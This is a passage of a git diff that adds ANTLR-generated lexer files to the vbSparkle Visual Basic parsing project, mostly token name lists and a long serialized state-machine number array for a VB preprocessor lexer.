592,594,5,58,0,0,593,592,1,0,0,0,593,594,1,0,0,0,594,595,1,0,0,0,595,596, + 3,145,72,0,596,597,5,32,0,0,597,599,1,0,0,0,598,591,1,0,0,0,598,593,1, + 0,0,0,599,604,1,0,0,0,600,603,3,139,69,0,601,603,8,7,0,0,602,600,1,0,0, + 0,602,601,1,0,0,0,603,606,1,0,0,0,604,602,1,0,0,0,604,605,1,0,0,0,605, + 138,1,0,0,0,606,604,1,0,0,0,607,608,5,32,0,0,608,610,5,95,0,0,609,611, + 5,13,0,0,610,609,1,0,0,0,610,611,1,0,0,0,611,612,1,0,0,0,612,613,5,10, + 0,0,613,614,1,0,0,0,614,615,6,69,0,0,615,140,1,0,0,0,616,618,7,8,0,0,617, + 616,1,0,0,0,618,619,1,0,0,0,619,617,1,0,0,0,619,620,1,0,0,0,620,142,1, + 0,0,0,621,622,9,0,0,0,622,144,1,0,0,0,623,624,3,187,93,0,624,625,3,161, + 80,0,625,626,3,177,88,0,626,146,1,0,0,0,627,629,3,141,70,0,628,627,1,0, + 0,0,628,629,1,0,0,0,629,630,1,0,0,0,630,632,3,135,67,0,631,633,3,141,70, + 0,632,631,1,0,0,0,632,633,1,0,0,0,633,634,1,0,0,0,634,636,3,3,1,0,635, + 637,3,141,70,0,636,635,1,0,0,0,636,637,1,0,0,0,637,148,1,0,0,0,638,639, + 7,9,0,0,639,150,1,0,0,0,640,641,7,10,0,0,641,152,1,0,0,0,642,643,7,11, + 0,0,643,154,1,0,0,0,644,645,7,12,0,0,645,156,1,0,0,0,646,647,7,13,0,0, + 647,158,1,0,0,0,648,649,7,14,0,0,649,160,1,0,0,0,650,651,7,5,0,0,651,162, + 1,0,0,0,652,653,7,15,0,0,653,164,1,0,0,0,654,655,7,16,0,0,655,166,1,0, + 0,0,656,657,7,17,0,0,657,168,1,0,0,0,658,659,7,18,0,0,659,170,1,0,0,0, + 660,661,7,19,0,0,661,172,1,0,0,0,662,663,7,20,0,0,663,174,1,0,0,0,664, + 665,7,21,0,0,665,176,1,0,0,0,666,667,7,22,0,0,667,178,1,0,0,0,668,669, + 7,23,0,0,669,180,1,0,0,0,670,671,7,24,0,0,671,182,1,0,0,0,672,673,7,25, + 0,0,673,184,1,0,0,0,674,675,7,26,0,0,675,186,1,0,0,0,676,677,7,27,0,0, + 677,188,1,0,0,0,678,679,7,28,0,0,679,190,1,0,0,0,680,681,7,29,0,0,681, + 192,1,0,0,0,682,683,7,30,0,0,683,194,1,0,0,0,684,685,7,31,0,0,685,196, + 1,0,0,0,686,687,7,32,0,0,687,198,1,0,0,0,688,689,7,33,0,0,689,200,1,0, + 0,0,690,691,7,34,0,0,691,202,1,0,0,0,692,693,7,35,0,0,693,204,1,0,0,0, + 39,0,212,216,444,446,455,464,469,472,477,483,490,495,502,507,512,516,523, + 529,537,540,546,552,558,564,570,575,579,585,589,593,598,602,604,610,619, + 628,632,636,1,0,1,0 + }; + + public static readonly ATN _ATN = + new ATNDeserializer().Deserialize(_serializedATN); + + +} diff --git a/Sources/vbSparkle/VBPreprocessorsLexer.interp b/Sources/vbSparkle/VBPreprocessorsLexer.interp new file mode 100644 index 0000000..a3459a3 --- /dev/null +++ b/Sources/vbSparkle/VBPreprocessorsLexer.interp @@ -0,0 +1,263 @@ +token literal names: +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +'&' +'@' +',' +null +'.' +'=' +'!' +'>=' +'>' +'#' +'<=' +'{' +'(' +'<' +'-' +'*' +'<>' +'+' +'^' +'}' +')' +';' +'[' +']' +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null + +token symbolic names: +null +MACRO_CONST +AND +ATTRIBUTE +BEGIN +BEGINPROPERTY +CLASS +CONST +ELSE +ELSEIF +END_IF +END +ENDPROPERTY +EQV +FALSE +IF +IMP +IS +LIKE +MACRO_IF +MACRO_ELSEIF +MACRO_ELSE +MACRO_END_IF +MOD +NOT +NOTHING +NULL +OBJECT +OR +THEN +TRUE +VERSION +XOR +AMPERSAND +AT +COMMA +DIV +DOT +EQ +EXCLAMATIONMARK +GEQ +GT +HASH +LEQ +LBRACE +LPAREN +LT +MINUS +MULT +NEQ +PLUS +POW +RBRACE +RPAREN +SEMICOLON +L_SQUARE_BRACKET +R_SQUARE_BRACKET +STRINGLITERAL +DATELITERAL +HEXLITERAL +INTEGERLITERAL +DOUBLELITERAL +FILENUMBER +OCTALLITERAL +GUID +NEWLINE +IDENTIFIER +COMMENT +LINE_CONTINUATION +WS +ANYCHAR +REM +LABEL_L + +rule names: +MACRO_CONST +DOUBLE_DOT +NL +AND +ATTRIBUTE +BEGIN +BEGINPROPERTY +CLASS +CONST +ELSE +ELSEIF +END_IF +END +ENDPROPERTY +EQV +FALSE +IF +IMP +IS +LIKE +MACRO_IF +MACRO_ELSEIF +MACRO_ELSE +MACRO_END_IF +MOD +NOT +NOTHING +NULL +OBJECT +OR +THEN +TRUE +VERSION +XOR +AMPERSAND +AT +COMMA +DIV +DOT +EQ +EXCLAMATIONMARK +GEQ +GT +HASH +LEQ +LBRACE +LPAREN +LT +MINUS +MULT +NEQ +PLUS +POW +RBRACE +RPAREN +SEMICOLON +L_SQUARE_BRACKET +R_SQUARE_BRACKET +STRINGLITERAL +DATELITERAL +HEXLITERAL +INTEGERLITERAL +DOUBLELITERAL +FILENUMBER +OCTALLITERAL +GUID +NEWLINE +IDENTIFIER +COMMENT +LINE_CONTINUATION +WS +ANYCHAR +REM +LABEL_L +LETTER +LETTERORDIGIT +A +B +C +D +E +F +G +H +I +J +K +L +M +N +O +P +Q +R +S +T +U +V +W +X +Y +Z + +channel names: +DEFAULT_TOKEN_CHANNEL +HIDDEN + +mode names: +DEFAULT_MODE + +atn: +[4, 0, 72, 694, 6, -1, 2, 0, 7, 0, 2, 1, 7, 1, 2, 2, 7, 2, 2, 3, 7, 3, 2, 4, 7, 4, 2, 5, 7, 5, 2, 6, 7, 6, 2, 7, 7, 7, 2, 8, 7, 8, 2, 9, 7, 9, 2, 10, 7, 10, 2, 11, 7, 11, 2, 12, 7, 12, 2, 13, 7, 13, 2, 14, 7, 14, 2, 15, 7, 15, 2, 16, 7, 16, 2, 17, 7, 17, 2, 18, 7, 18, 2, 19, 7, 19, 2, 20, 7, 20, 2, 21, 7, 21, 2, 22, 7, 22, 2, 23, 7, 23, 2, 24, 7, 24, 2, 25, 7, 25, 2, 26, 7, 26, 2, 27, 7, 27, 2, 28, 7, 28, 2, 29, 7, 29, 2, 30, 7, 30, 2, 31, 7, 31, 2, 32, 7, 32, 2, 33, 7, 33, 2, 34, 7, 34, 2, 35, 7, 35, 2, 36, 7, 36, 2, 37, 7, 37, 2, 38, 7, 38, 2, 39, 7, 39, 2, 40, 7, 40, 2, 41, 7, 41, 2, 42, 7, 42, 2, 43, 7, 43, 2, 44, 7, 44, 2, 45, 7, 45, 2, 46, 7, 46, 2, 47, 7, 47, 2, 48, 7, 48, 2, 49, 7, 49, 2, 50, 7, 50, 2, 51, 7, 51, 2, 52, 7, 52, 2, 53, 7, 53, 2, 54, 7, 54, 2, 55, 7, 55, 2, 56, 7, 56, 2, 57, 7, 57, 2, 58, 7, 58, 2, 59, 7, 59, 2, 60, 7, 60, 2, 61, 7, 61, 2, 62, 7, 62, 2, 63, 7, 63, 2, 64, 7, 64, 2, 65, 7, 65, 2, 66, 7, 66, 2, 67, 7, 67, 2, 68, 7, 68, 2, 69, 7, 69, 2, 70, 7, 70, 2, 71, 7, 71, 2, 72, 7, 72, 2, 73, 7, 73, 2, 74, 7, 74, 2, 75, 7, 75, 2, 76, 7, 76, 2, 77, 7, 77, 2, 78, 7, 78, 2, 79, 7, 79, 2, 80, 7, 80, 2, 81, 7, 81, 2, 82, 7, 82, 2, 83, 7, 83, 2, 84, 7, 84, 2, 85, 7, 85, 2, 86, 7, 86, 2, 87, 7, 87, 2, 88, 7, 88, 2, 89, 7, 89, 2, 90, 7, 90, 2, 91, 7, 91, 2, 92, 7, 92, 2, 93, 7, 93, 2, 94, 7, 94, 2, 95, 7, 95, 2, 96, 7, 96, 2, 97, 7, 97, 2, 98, 7, 98, 2, 99, 7, 99, 2, 100, 7, 100, 2, 101, 7, 101, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 2, 3, 2, 213, 8, 2, 1, 2, 1, 2, 3, 2, 217, 8, 2, 1, 3, 1, 3, 1, 3, 1, 3, 1, 4, 1, 4, 1, 4, 1, 4, 1, 4, 1, 4, 1, 4, 1, 4, 1, 4, 1, 4, 1, 5, 1, 5, 1, 5, 1, 5, 1, 5, 1, 5, 1, 6, 1, 6, 1, 6, 1, 6, 1, 6, 1, 6, 1, 6, 1, 6, 1, 6, 1, 6, 1, 6, 1, 6, 1, 6, 1, 6, 1, 7, 1, 7, 1, 7, 1, 7, 1, 7, 1, 7, 1, 8, 1, 8, 1, 8, 1, 8, 1, 8, 1, 8, 1, 9, 1, 9, 1, 9, 1, 9, 1, 9, 1, 10, 1, 10, 1, 10, 1, 10, 1, 10, 1, 10, 1, 10, 1, 11, 1, 11, 1, 11, 1, 11, 1, 11, 1, 11, 1, 11, 1, 12, 1, 12, 1, 12, 1, 12, 1, 13, 1, 13, 1, 13, 1, 13, 1, 13, 1, 13, 1, 13, 1, 13, 1, 13, 1, 13, 1, 13, 1, 13, 1, 14, 1, 14, 1, 14, 1, 14, 1, 15, 1, 15, 1, 15, 1, 15, 1, 15, 1, 15, 1, 16, 1, 16, 1, 16, 1, 17, 1, 17, 1, 17, 1, 17, 1, 18, 1, 18, 1, 18, 1, 19, 1, 19, 1, 19, 1, 19, 1, 19, 1, 20, 1, 20, 1, 20, 1, 21, 1, 21, 1, 21, 1, 22, 1, 22, 1, 22, 1, 23, 1, 23, 1, 23, 1, 24, 1, 24, 1, 24, 1, 24, 1, 25, 1, 25, 1, 25, 1, 25, 1, 26, 1, 26, 1, 26, 1, 26, 1, 26, 1, 26, 1, 26, 1, 26, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 29, 1, 29, 1, 29, 1, 30, 1, 30, 1, 30, 1, 30, 1, 30, 1, 31, 1, 31, 1, 31, 1, 31, 1, 31, 1, 32, 1, 32, 1, 32, 1, 32, 1, 32, 1, 32, 1, 32, 1, 32, 1, 33, 1, 33, 1, 33, 1, 33, 1, 34, 1, 34, 1, 35, 1, 35, 1, 36, 1, 36, 1, 37, 1, 37, 1, 38, 1, 38, 1, 39, 1, 39, 1, 40, 1, 40, 1, 41, 1, 41, 1, 41, 1, 42, 1, 42, 1, 43, 1, 43, 1, 44, 1, 44, 1, 44, 1, 45, 1, 45, 1, 46, 1, 46, 1, 47, 1, 47, 1, 48, 1, 48, 1, 49, 1, 49, 1, 50, 1, 50, 1, 50, 1, 51, 1, 51, 1, 52, 1, 52, 1, 53, 1, 53, 1, 54, 1, 54, 1, 55, 1, 55, 1, 56, 1, 56, 1, 57, 1, 57, 1, 58, 1, 58, 1, 58, 1, 58, 5, 58, 445, 8, 58, 10, 58, 12, 58, 448, 9, 58, 1, 58, 1, 58, 1, 59, 1, 59, 5, 59, 454, 8, 59, 10, 59, 12, 59, 457, 9, 59, 1, 59, 1, 59, 1, 60, 1, 60, 1, 60, 1, 60, 3, 60, 465, 8, 60, 1, 60, 4, 60, 468, 8, 60, 11, 60, 12, 60, 469, 1, 60, 3, 60, 473, 8, 60, 1, 61, 4, 61, 476, 8, 61, 11, 61, 12, 61, 477, 1, 61, 1, 61, 5, 61, 482, 8, 61, 10, 61, 12, 61, 485, 9, 61, 1, 61, 1, 61, 1, 61, 1, 61, 3, 61, 491, 8, 61, 1, 62, 5, 62, 494, 8, 62, 10, 62, 12, 62, 497, 9, 62, 1, 62, 1, 62, 4, 62, 501, 8, 62, 11, 62, 12, 62, 502, 1, 62, 1, 62, 1, 62, 3, 62, 508, 8, 62, 1, 62, 4, 62, 511, 8, 62, 11, 62, 12, 62, 512, 5, 62, 515, 8, 62, 10, 62, 12, 62, 518, 9, 62, 1, 62, 1, 62, 1, 62, 1, 62, 3, 62, 524, 8, 62, 1, 63, 1, 63, 4, 63, 528, 8, 63, 11, 63, 12, 63, 529, 1, 64, 1, 64, 1, 64, 1, 64, 4, 64, 536, 8, 64, 11, 64, 12, 64, 537, 1, 64, 3, 64, 541, 8, 64, 1, 65, 1, 65, 4, 65, 545, 8, 65, 11, 65, 12, 65, 546, 1, 65, 1, 65, 4, 65, 551, 8, 65, 11, 65, 12, 65, 552, 1, 65, 1, 65, 4, 65, 557, 8, 65, 11, 65, 12, 65, 558, 1, 65, 1, 65, 4, 65, 563, 8, 65, 11, 65, 12, 65, 564, 1, 65, 1, 65, 4, 65, 569, 8, 65, 11, 65, 12, 65, 570, 1, 65, 1, 65, 1, 66, 3, 66, 576, 8, 66, 1, 66, 1, 66, 3, 66, 580, 8, 66, 1, 67, 1, 67, 5, 67, 584, 8, 67, 10, 67, 12, 67, 587, 9, 67, 1, 68, 3, 68, 590, 8, 68, 1, 68, 1, 68, 3, 68, 594, 8, 68, 1, 68, 1, 68, 1, 68, 3, 68, 599, 8, 68, 1, 68, 1, 68, 5, 68, 603, 8, 68, 10, 68, 12, 68, 606, 9, 68, 1, 69, 1, 69, 1, 69, 3, 69, 611, 8, 69, 1, 69, 1, 69, 1, 69, 1, 69, 1, 70, 4, 70, 618, 8, 70, 11, 70, 12, 70, 619, 1, 71, 1, 71, 1, 72, 1, 72, 1, 72, 1, 72, 1, 73, 3, 73, 629, 8, 73, 1, 73, 1, 73, 3, 73, 633, 8, 73, 1, 73, 1, 73, 3, 73, 637, 8, 73, 1, 74, 1, 74, 1, 75, 1, 75, 1, 76, 1, 76, 1, 77, 1, 77, 1, 78, 1, 78, 1, 79, 1, 79, 1, 80, 1, 80, 1, 81, 1, 81, 1, 82, 1, 82, 1, 83, 1, 83, 1, 84, 1, 84, 1, 85, 1, 85, 1, 86, 1, 86, 1, 87, 1, 87, 1, 88, 1, 88, 1, 89, 1, 89, 1, 90, 1, 90, 1, 91, 1, 91, 1, 92, 1, 92, 1, 93, 1, 93, 1, 94, 1, 94, 1, 95, 1, 95, 1, 96, 1, 96, 1, 97, 1, 97, 1, 98, 1, 98, 1, 99, 1, 99, 1, 100, 1, 100, 1, 101, 1, 101, 0, 0, 102, 1, 1, 3, 0, 5, 0, 7, 2, 9, 3, 11, 4, 13, 5, 15, 6, 17, 7, 19, 8, 21, 9, 23, 10, 25, 11, 27, 12, 29, 13, 31, 14, 33, 15, 35, 16, 37, 17, 39, 18, 41, 19, 43, 20, 45, 21, 47, 22, 49, 23, 51, 24, 53, 25, 55, 26, 57, 27, 59, 28, 61, 29, 63, 30, 65, 31, 67, 32, 69, 33, 71, 34, 73, 35, 75, 36, 77, 37, 79, 38, 81, 39, 83, 40, 85, 41, 87, 42, 89, 43, 91, 44, 93, 45, 95, 46, 97, 47, 99, 48, 101, 49, 103, 50, 105, 51, 107, 52, 109, 53, 111, 54, 113, 55, 115, 56, 117, 57, 119, 58, 121, 59, 123, 60, 125, 61, 127, 62, 129, 63, 131, 64, 133, 65, 135, 66, 137, 67, 139, 68, 141, 69, 143, 70, 145, 71, 147, 72, 149, 0, 151, 0, 153, 0, 155, 0, 157, 0, 159, 0, 161, 0, 163, 0, 165, 0, 167, 0, 169, 0, 171, 0, 173, 0, 175, 0, 177, 0, 179, 0, 181, 0, 183, 0, 185, 0, 187, 0, 189, 0, 191, 0, 193, 0, 195, 0, 197, 0, 199, 0, 201, 0, 203, 0, 1, 0, 36, 1, 1, 13, 13, 2, 0, 47, 47, 92, 92, 3, 0, 10, 10, 13, 13, 34, 34, 3, 0, 10, 10, 13, 13, 35, 35, 2, 0, 48, 57, 65, 70, 2, 0, 69, 69, 101, 101, 1, 0, 48, 55, 2, 0, 10, 10, 13, 13, 2, 0, 9, 9, 32, 32, 24, 0, 65, 90, 95, 95, 97, 122, 160, 164, 167, 170, 172, 174, 178, 182, 185, 189, 195, 197, 225, 225, 338, 339, 352, 353, 381, 381, 402, 402, 710, 710, 8211, 8211, 8217, 8218, 8220, 8222, 8225, 8226, 8240, 8240, 8250, 8250, 8364, 8364, 8482, 8482, 65533, 65533, 25, 0, 48, 57, 65, 90, 95, 95, 97, 122, 160, 164, 167, 170, 172, 174, 178, 182, 185, 189, 195, 197, 225, 225, 338, 339, 352, 353, 381, 381, 402, 402, 710, 710, 8211, 8211, 8217, 8218, 8220, 8222, 8225, 8226, 8240, 8240, 8250, 8250, 8364, 8364, 8482, 8482, 65533, 65533, 2, 0, 65, 65, 97, 97, 2, 0, 66, 66, 98, 98, 2, 0, 67, 67, 99, 99, 2, 0, 68, 68, 100, 100, 2, 0, 70, 70, 102, 102, 2, 0, 71, 71, 103, 103, 2, 0, 72, 72, 104, 104, 2, 0, 73, 73, 105, 105, 2, 0, 74, 74, 106, 106, 2, 0, 75, 75, 107, 107, 2, 0, 76, 76, 108, 108, 2, 0, 77, 77, 109, 109, 2, 0, 78, 78, 110, 110, 2, 0, 79, 79, 111, 111, 2, 0, 80, 80, 112, 112, 2, 0, 81, 81, 113, 113, 2, 0, 82, 82, 114, 114, 2, 0, 83, 83, 115, 115, 2, 0, 84, 84, 116, 116, 2, 0, 85, 85, 117, 117, 2, 0, 86, 86, 118, 118, 2, 0, 87, 87, 119, 119, 2, 0, 88, 88, 120, 120, 2, 0, 89, 89, 121, 121, 2, 0, 90, 90, 122, 122, 708, 0, 1, 1, 0, 0, 0, 0, 7, 1, 0, 0, 0, 0, 9, 1, 0, 0, 0, 0, 11, 1, 0, 0, 0, 0, 13, 1, 0, 0, 0, 0, 15, 1, 0, 0, 0, 0, 17, 1, 0, 0, 0, 0, 19, 1, 0, 0, 0, 0, 21, 1, 0, 0, 0, 0, 23, 1, 0, 0, 0, 0, 25, 1, 0, 0, 0, 0, 27, 1, 0, 0, 0, 0, 29, 1, 0, 0, 0, 0, 31, 1, 0, 0, 0, 0, 33, 1, 0, 0, 0, 0, 35, 1, 0, 0, 0, 0, 37, 1, 0, 0, 0, 0, 39, 1, 0, 0, 0, 0, 41, 1, 0, 0, 0, 0, 43, 1, 0, 0, 0, 0, 45, 1, 0, 0, 0, 0, 47, 1, 0, 0, 0, 0, 49, 1, 0, 0, 0, 0, 51, 1, 0, 0, 0, 0, 53, 1, 0, 0, 0, 0, 55, 1, 0, 0, 0, 0, 57, 1, 0, 0, 0, 0, 59, 1, 0, 0, 0, 0, 61, 1, 0, 0, 0, 0, 63, 1, 0, 0, 0, 0, 65, 1, 0, 0, 0, 0, 67, 1, 0, 0, 0, 0, 69, 1, 0, 0, 0, 0, 71, 1, 0, 0, 0, 0, 73, 1, 0, 0, 0, 0, 75, 1, 0, 0, 0, 0, 77, 1, 0, 0, 0, 0, 79, 1, 0, 0, 0, 0, 81, 1, 0, 0, 0, 0, 83, 1, 0, 0, 0, 0, 85, 1, 0, 0, 0, 0, 87, 1, 0, 0, 0, 0, 89, 1, 0, 0, 0, 0, 91, 1, 0, 0, 0, 0, 93, 1, 0, 0, 0, 0, 95, 1, 0, 0, 0, 0, 97, 1, 0, 0, 0, 0, 99, 1, 0, 0, 0, 0, 101, 1, 0, 0, 0, 0, 103, 1, 0, 0, 0, 0, 105, 1, 0, 0, 0, 0, 107, 1, 0, 0, 0, 0, 109, 1, 0, 0, 0, 0, 111, 1, 0, 0, 0, 0, 113, 1, 0, 0, 0, 0, 115, 1, 0, 0, 0, 0, 117, 1, 0, 0, 0, 0, 119, 1, 0, 0, 0, 0, 121, 1, 0, 0, 0, 0, 123, 1, 0, 0, 0, 0, 125, 1, 0, 0, 0, 0, 127, 1, 0, 0, 0, 0, 129, 1, 0, 0, 0, 0, 131, 1, 0, 0, 0, 0, 133, 1, 0, 0, 0, 0, 135, 1, 0, 0, 0, 0, 137, 1, 0, 0, 0, 0, 139, 1, 0, 0, 0, 0, 141, 1, 0, 0, 0, 0, 143, 1, 0, 0, 0, 0, 145, 1, 0, 0, 0, 0, 147, 1, 0, 0, 0, 1, 205, 1, 0, 0, 0, 3, 209, 1, 0, 0, 0, 5, 216, 1, 0, 0, 0, 7, 218, 1, 0, 0, 0, 9, 222, 1, 0, 0, 0, 11, 232, 1, 0, 0, 0, 13, 238, 1, 0, 0, 0, 15, 252, 1, 0, 0, 0, 17, 258, 1, 0, 0, 0, 19, 264, 1, 0, 0, 0, 21, 269, 1, 0, 0, 0, 23, 276, 1, 0, 0, 0, 25, 283, 1, 0, 0, 0, 27, 287, 1, 0, 0, 0, 29, 299, 1, 0, 0, 0, 31, 303, 1, 0, 0, 0, 33, 309, 1, 0, 0, 0, 35, 312, 1, 0, 0, 0, 37, 316, 1, 0, 0, 0, 39, 319, 1, 0, 0, 0, 41, 324, 1, 0, 0, 0, 43, 327, 1, 0, 0, 0, 45, 330, 1, 0, 0, 0, 47, 333, 1, 0, 0, 0, 49, 336, 1, 0, 0, 0, 51, 340, 1, 0, 0, 0, 53, 344, 1, 0, 0, 0, 55, 352, 1, 0, 0, 0, 57, 357, 1, 0, 0, 0, 59, 364, 1, 0, 0, 0, 61, 367, 1, 0, 0, 0, 63, 372, 1, 0, 0, 0, 65, 377, 1, 0, 0, 0, 67, 385, 1, 0, 0, 0, 69, 389, 1, 0, 0, 0, 71, 391, 1, 0, 0, 0, 73, 393, 1, 0, 0, 0, 75, 395, 1, 0, 0, 0, 77, 397, 1, 0, 0, 0, 79, 399, 1, 0, 0, 0, 81, 401, 1, 0, 0, 0, 83, 403, 1, 0, 0, 0, 85, 406, 1, 0, 0, 0, 87, 408, 1, 0, 0, 0, 89, 410, 1, 0, 0, 0, 91, 413, 1, 0, 0, 0, 93, 415, 1, 0, 0, 0, 95, 417, 1, 0, 0, 0, 97, 419, 1, 0, 0, 0, 99, 421, 1, 0, 0, 0, 101, 423, 1, 0, 0, 0, 103, 426, 1, 0, 0, 0, 105, 428, 1, 0, 0, 0, 107, 430, 1, 0, 0, 0, 109, 432, 1, 0, 0, 0, 111, 434, 1, 0, 0, 0, 113, 436, 1, 0, 0, 0, 115, 438, 1, 0, 0, 0, 117, 440, 1, 0, 0, 0, 119, 451, 1, 0, 0, 0, 121, 464, 1, 0, 0, 0, 123, 475, 1, 0, 0, 0, 125, 495, 1, 0, 0, 0, 127, 525, 1, 0, 0, 0, 129, 531, 1, 0, 0, 0, 131, 542, 1, 0, 0, 0, 133, 575, 1, 0, 0, 0, 135, 581, 1, 0, 0, 0, 137, 589, 1, 0, 0, 0, 139, 607, 1, 0, 0, 0, 141, 617, 1, 0, 0, 0, 143, 621, 1, 0, 0, 0, 145, 623, 1, 0, 0, 0, 147, 628, 1, 0, 0, 0, 149, 638, 1, 0, 0, 0, 151, 640, 1, 0, 0, 0, 153, 642, 1, 0, 0, 0, 155, 644, 1, 0, 0, 0, 157, 646, 1, 0, 0, 0, 159, 648, 1, 0, 0, 0, 161, 650, 1, 0, 0, 0, 163, 652, 1, 0, 0, 0, 165, 654, 1, 0, 0, 0, 167, 656, 1, 0, 0, 0, 169, 658, 1, 0, 0, 0, 171, 660, 1, 0, 0, 0, 173, 662, 1, 0, 0, 0, 175, 664, 1, 0, 0, 0, 177, 666, 1, 0, 0, 0, 179, 668, 1, 0, 0, 0, 181, 670, 1, 0, 0, 0, 183, 672, 1, 0, 0, 0, 185, 674, 1, 0, 0, 0, 187, 676, 1, 0, 0, 0, 189, 678, 1, 0, 0, 0, 191, 680, 1, 0, 0, 0, 193, 682, 1, 0, 0, 0, 195, 684, 1, 0, 0, 0, 197, 686, 1, 0, 0, 0, 199, 688, 1, 0, 0, 0, 201, 690, 1, 0, 0, 0, 203, 692, 1, 0, 0, 0, 205, 206, 3, 87, 43, 0, 206, 207, 3, 17, 8, 0, 207, 208, 3, 141, 70, 0, 208, 2, 1, 0, 0, 0, 209, 210, 5, 58, 0, 0, 210, 4, 1, 0, 0, 0, 211, 213, 5, 13, 0, 0, 212, 211, 1, 0, 0, 0, 212, 213, 1, 0, 0, 0, 213, 214, 1, 0, 0, 0, 214, 217, 5, 10, 0, 0, 215, 217, 7, 0, 0, 0, 216, 212, 1, 0, 0, 0, 216, 215, 1, 0, 0, 0, 217, 6, 1, 0, 0, 0, 218, 219, 3, 153, 76, 0, 219, 220, 3, 179, 89, 0, 220, 221, 3, 159, 79, 0, 221, 8, 1, 0, 0, 0, 222, 223, 3, 153, 76, 0, 223, 224, 3, 191, 95, 0, 224, 225, 3, 191, 95, 0, 225, 226, 3, 187, 93, 0, 226, 227, 3, 169, 84, 0, 227, 228, 3, 155, 77, 0, 228, 229, 3, 193, 96, 0, 229, 230, 3, 191, 95, 0, 230, 231, 3, 161, 80, 0, 231, 10, 1, 0, 0, 0, 232, 233, 3, 155, 77, 0, 233, 234, 3, 161, 80, 0, 234, 235, 3, 165, 82, 0, 235, 236, 3, 169, 84, 0, 236, 237, 3, 179, 89, 0, 237, 12, 1, 0, 0, 0, 238, 239, 3, 155, 77, 0, 239, 240, 3, 161, 80, 0, 240, 241, 3, 165, 82, 0, 241, 242, 3, 169, 84, 0, 242, 243, 3, 179, 89, 0, 243, 244, 3, 183, 91, 0, 244, 245, 3, 187, 93, 0, 245, 246, 3, 181, 90, 0, 246, 247, 3, 183, 91, 0, 247, 248, 3, 161, 80, 0, 248, 249, 3, 187, 93, 0, 249, 250, 3, 191, 95, 0, 250, 251, 3, 201, 100, 0, 251, 14, 1, 0, 0, 0, 252, 253, 3, 157, 78, 0, 253, 254, 3, 175, 87, 0, 254, 255, 3, 153, 76, 0, 255, 256, 3, 189, 94, 0, 256, 257, 3, 189, 94, 0, 257, 16, 1, 0, 0, 0, 258, 259, 3, 157, 78, 0, 259, 260, 3, 181, 90, 0, 260, 261, 3, 179, 89, 0, 261, 262, 3, 189, 94, 0, 262, 263, 3, 191, 95, 0, 263, 18, 1, 0, 0, 0, 264, 265, 3, 161, 80, 0, 265, 266, 3, 175, 87, 0, 266, 267, 3, 189, 94, 0, 267, 268, 3, 161, 80, 0, 268, 20, 1, 0, 0, 0, 269, 270, 3, 161, 80, 0, 270, 271, 3, 175, 87, 0, 271, 272, 3, 189, 94, 0, 272, 273, 3, 161, 80, 0, 273, 274, 3, 169, 84, 0, 274, 275, 3, 163, 81, 0, 275, 22, 1, 0, 0, 0, 276, 277, 3, 161, 80, 0, 277, 278, 3, 179, 89, 0, 278, 279, 3, 159, 79, 0, 279, 280, 5, 32, 0, 0, 280, 281, 3, 169, 84, 0, 281, 282, 3, 163, 81, 0, 282, 24, 1, 0, 0, 0, 283, 284, 3, 161, 80, 0, 284, 285, 3, 179, 89, 0, 285, 286, 3, 159, 79, 0, 286, 26, 1, 0, 0, 0, 287, 288, 3, 161, 80, 0, 288, 289, 3, 179, 89, 0, 289, 290, 3, 159, 79, 0, 290, 291, 3, 183, 91, 0, 291, 292, 3, 187, 93, 0, 292, 293, 3, 181, 90, 0, 293, 294, 3, 183, 91, 0, 294, 295, 3, 161, 80, 0, 295, 296, 3, 187, 93, 0, 296, 297, 3, 191, 95, 0, 297, 298, 3, 201, 100, 0, 298, 28, 1, 0, 0, 0, 299, 300, 3, 161, 80, 0, 300, 301, 3, 185, 92, 0, 301, 302, 3, 195, 97, 0, 302, 30, 1, 0, 0, 0, 303, 304, 3, 163, 81, 0, 304, 305, 3, 153, 76, 0, 305, 306, 3, 175, 87, 0, 306, 307, 3, 189, 94, 0, 307, 308, 3, 161, 80, 0, 308, 32, 1, 0, 0, 0, 309, 310, 3, 169, 84, 0, 310, 311, 3, 163, 81, 0, 311, 34, 1, 0, 0, 0, 312, 313, 3, 169, 84, 0, 313, 314, 3, 177, 88, 0, 314, 315, 3, 183, 91, 0, 315, 36, 1, 0, 0, 0, 316, 317, 3, 169, 84, 0, 317, 318, 3, 189, 94, 0, 318, 38, 1, 0, 0, 0, 319, 320, 3, 175, 87, 0, 320, 321, 3, 169, 84, 0, 321, 322, 3, 173, 86, 0, 322, 323, 3, 161, 80, 0, 323, 40, 1, 0, 0, 0, 324, 325, 3, 87, 43, 0, 325, 326, 3, 33, 16, 0, 326, 42, 1, 0, 0, 0, 327, 328, 3, 87, 43, 0, 328, 329, 3, 21, 10, 0, 329, 44, 1, 0, 0, 0, 330, 331, 3, 87, 43, 0, 331, 332, 3, 19, 9, 0, 332, 46, 1, 0, 0, 0, 333, 334, 3, 87, 43, 0, 334, 335, 3, 23, 11, 0, 335, 48, 1, 0, 0, 0, 336, 337, 3, 177, 88, 0, 337, 338, 3, 181, 90, 0, 338, 339, 3, 159, 79, 0, 339, 50, 1, 0, 0, 0, 340, 341, 3, 179, 89, 0, 341, 342, 3, 181, 90, 0, 342, 343, 3, 191, 95, 0, 343, 52, 1, 0, 0, 0, 344, 345, 3, 179, 89, 0, 345, 346, 3, 181, 90, 0, 346, 347, 3, 191, 95, 0, 347, 348, 3, 167, 83, 0, 348, 349, 3, 169, 84, 0, 349, 350, 3, 179, 89, 0, 350, 351, 3, 165, 82, 0, 351, 54, 1, 0, 0, 0, 352, 353, 3, 179, 89, 0, 353, 354, 3, 193, 96, 0, 354, 355, 3, 175, 87, 0, 355, 356, 3, 175, 87, 0, 356, 56, 1, 0, 0, 0, 357, 358, 3, 181, 90, 0, 358, 359, 3, 155, 77, 0, 359, 360, 3, 171, 85, 0, 360, 361, 3, 161, 80, 0, 361, 362, 3, 157, 78, 0, 362, 363, 3, 191, 95, 0, 363, 58, 1, 0, 0, 0, 364, 365, 3, 181, 90, 0, 365, 366, 3, 187, 93, 0, 366, 60, 1, 0, 0, 0, 367, 368, 3, 191, 95, 0, 368, 369, 3, 167, 83, 0, 369, 370, 3, 161, 80, 0, 370, 371, 3, 179, 